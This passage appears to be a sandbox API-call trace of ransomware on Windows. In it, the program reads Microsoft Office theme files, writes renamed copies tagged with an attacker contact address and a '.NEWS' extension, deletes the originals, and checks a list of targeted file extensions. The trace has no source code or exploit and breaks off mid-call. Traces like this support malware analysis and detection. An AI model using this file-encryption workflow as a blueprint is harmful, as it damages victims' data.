returned 0x51c [0172.930] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.930] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0172.932] GetLastError () returned 0x0 [0172.932] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xafab, lpOverlapped=0x0) returned 1 [0172.937] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xafb0, lpOverlapped=0x0) returned 1 [0172.939] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.939] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe8, lpOverlapped=0x0) returned 1 [0172.939] SetEndOfFile (hFile=0x4f0) returned 1 [0172.939] CloseHandle (hObject=0x4f0) returned 1 [0172.940] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.940] SetEndOfFile (hFile=0x51c) returned 1 [0172.945] CloseHandle (hObject=0x51c) returned 1 [0172.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0172.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.948] lstrlenW (lpString=".doc") returned 4 [0172.948] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.948] lstrlenW (lpString=".docx") returned 5 [0172.948] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.948] lstrlenW (lpString=".pdf") returned 4 [0172.948] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.948] lstrlenW (lpString=".xls") returned 4 [0172.948] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.948] lstrlenW (lpString=".xlsx") returned 5 [0172.948] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.948] lstrlenW (lpString=".ppt") returned 4 [0172.948] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.948] lstrlenW (lpString=".zip") returned 4 [0172.948] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.948] lstrlenW (lpString=".rar") returned 4 [0172.948] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.948] lstrlenW (lpString=".bz2") returned 4 [0172.948] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.948] lstrlenW (lpString=".7z") returned 3 [0172.949] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.949] lstrlenW (lpString=".dbf") returned 4 [0172.949] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.949] lstrlenW (lpString=".1cd") returned 4 [0172.949] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.949] lstrlenW (lpString=".jpg") returned 4 [0172.949] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.949] lstrlenW (lpString=".doc") returned 4 [0172.949] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.949] lstrlenW (lpString=".docx") returned 5 [0172.949] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.949] lstrlenW (lpString=".pdf") returned 4 [0172.949] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString=".xls") returned 4 [0172.950] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString=".xlsx") returned 5 [0172.950] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.950] lstrlenW (lpString=".ppt") returned 4 [0172.950] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.950] lstrlenW (lpString=".zip") returned 4 [0172.950] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString=".rar") returned 4 [0172.950] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString=".bz2") returned 4 [0172.950] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString=".7z") returned 3 [0172.950] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.950] lstrlenW (lpString=".dbf") returned 4 [0172.950] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.950] lstrlenW (lpString=".1cd") returned 4 [0172.950] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0172.950] lstrlenW (lpString=".jpg") returned 4 [0172.950] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.950] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0172.950] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0172.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0172.952] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=46403) returned 1 [0172.952] CloseHandle (hObject=0x51c) returned 1 [0172.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0172.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0172.953] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.953] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0172.955] GetLastError () returned 0x0 [0172.955] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xb543, lpOverlapped=0x0) returned 1 [0173.295] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xb550, lpOverlapped=0x0) returned 1 [0173.298] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.298] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xf2, lpOverlapped=0x0) returned 1 [0173.298] SetEndOfFile (hFile=0x4f0) returned 1 [0173.298] CloseHandle (hObject=0x4f0) returned 1 [0173.298] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.298] SetEndOfFile (hFile=0x51c) returned 1 [0173.303] CloseHandle (hObject=0x51c) returned 1 [0173.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.306] lstrlenW (lpString=".doc") returned 4 [0173.306] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString=".docx") returned 5 [0173.306] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.306] lstrlenW (lpString=".pdf") returned 4 [0173.306] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString=".xls") returned 4 [0173.306] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString=".xlsx") returned 5 [0173.306] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.306] lstrlenW (lpString=".ppt") returned 4 [0173.306] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.306] lstrlenW (lpString=".zip") returned 4 [0173.306] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString=".rar") returned 4 [0173.306] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString=".bz2") returned 4 [0173.306] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString=".7z") returned 3 [0173.306] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.306] lstrlenW (lpString=".dbf") returned 4 [0173.306] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.306] lstrlenW (lpString=".1cd") returned 4 [0173.307] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.307] lstrlenW (lpString=".jpg") returned 4 [0173.307] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.307] lstrlenW (lpString=".doc") returned 4 [0173.307] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString=".docx") returned 5 [0173.307] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.307] lstrlenW (lpString=".pdf") returned 4 [0173.307] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString=".xls") returned 4 [0173.307] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString=".xlsx") returned 5 [0173.307] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.307] lstrlenW (lpString=".ppt") returned 4 [0173.307] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.307] lstrlenW (lpString=".zip") returned 4 [0173.307] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString=".rar") returned 4 [0173.307] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString=".bz2") returned 4 [0173.307] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.307] lstrlenW (lpString=".7z") returned 3 [0173.307] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.308] lstrlenW (lpString=".dbf") returned 4 [0173.308] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.308] lstrlenW (lpString=".1cd") returned 4 [0173.308] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0173.308] lstrlenW (lpString=".jpg") returned 4 [0173.308] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.308] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0173.308] lstrlenW (lpString="Riblet.eftx") returned 11 [0173.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.309] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=295074) returned 1 [0173.309] CloseHandle (hObject=0x51c) returned 1 [0173.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0173.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.310] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.310] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0173.311] GetLastError () returned 0x0 [0173.311] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x480a2, lpOverlapped=0x0) returned 1 [0173.329] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x480b0, lpOverlapped=0x0) returned 1 [0173.336] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.337] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xea, lpOverlapped=0x0) returned 1 [0173.337] SetEndOfFile (hFile=0x4f0) returned 1 [0173.337] CloseHandle (hObject=0x4f0) returned 1 [0173.337] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.337] SetEndOfFile (hFile=0x51c) returned 1 [0173.526] CloseHandle (hObject=0x51c) returned 1 [0173.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0174.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.341] lstrlenW (lpString=".doc") returned 4 [0174.341] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0174.341] lstrlenW (lpString=".docx") returned 5 [0174.341] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0174.341] lstrlenW (lpString=".pdf") returned 4 [0174.341] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0174.341] lstrlenW (lpString=".xls") returned 4 [0174.341] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString=".xlsx") returned 5 [0174.342] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0174.342] lstrlenW (lpString=".ppt") returned 4 [0174.342] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.342] lstrlenW (lpString=".zip") returned 4 [0174.342] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString=".rar") returned 4 [0174.342] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString=".bz2") returned 4 [0174.342] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString=".7z") returned 3 [0174.342] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0174.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.342] lstrlenW (lpString=".dbf") returned 4 [0174.342] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.342] lstrlenW (lpString=".1cd") returned 4 [0174.342] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.342] lstrlenW (lpString=".jpg") returned 4 [0174.342] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.342] lstrlenW (lpString=".doc") returned 4 [0174.342] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString=".docx") returned 5 [0174.342] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0174.342] lstrlenW (lpString=".pdf") returned 4 [0174.342] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString=".xls") returned 4 [0174.342] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0174.342] lstrlenW (lpString=".xlsx") returned 5 [0174.342] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0174.343] lstrlenW (lpString=".ppt") returned 4 [0174.343] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0174.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.343] lstrlenW (lpString=".zip") returned 4 [0174.343] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0174.343] lstrlenW (lpString=".rar") returned 4 [0174.343] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0174.343] lstrlenW (lpString=".bz2") returned 4 [0174.343] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0174.343] lstrlenW (lpString=".7z") returned 3 [0174.343] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0174.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.343] lstrlenW (lpString=".dbf") returned 4 [0174.343] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0174.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.343] lstrlenW (lpString=".1cd") returned 4 [0174.343] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0174.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0174.343] lstrlenW (lpString=".jpg") returned 4 [0174.343] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0174.343] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.343] lstrlenW (lpString="Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 40 [0174.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.346] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=6890712) returned 1 [0174.346] CloseHandle (hObject=0x450) returned 1 [0174.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220 [0174.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0174.346] lstrlenW (lpString="C:\\Program Files\\Microsoft 